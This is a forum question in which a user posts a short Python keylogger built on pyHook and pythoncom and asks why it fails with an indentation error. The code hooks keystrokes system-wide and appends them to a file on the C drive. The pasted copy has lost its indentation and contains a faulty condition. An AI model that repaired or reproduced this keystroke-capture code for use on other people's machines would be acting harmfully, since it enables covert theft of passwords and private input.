I've been tampering with Python and Keyloggers, trying to find a comprehensive tutorial on how to construct one and haven't been able to find one. What really throws me off it the availability of the modules, versus the actual python update, and the pyhooks - trying to find compatibility is extremely difficult. Anyway, I finally found a somewhat viable tutorial and I get the "Expected an Intended Block" error. Here is the code.
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
I get the error on the 5th line of code (if event.Ascii == 5:) something is wrong with that if and it's not allowing me to run the module. Any help? Thanks.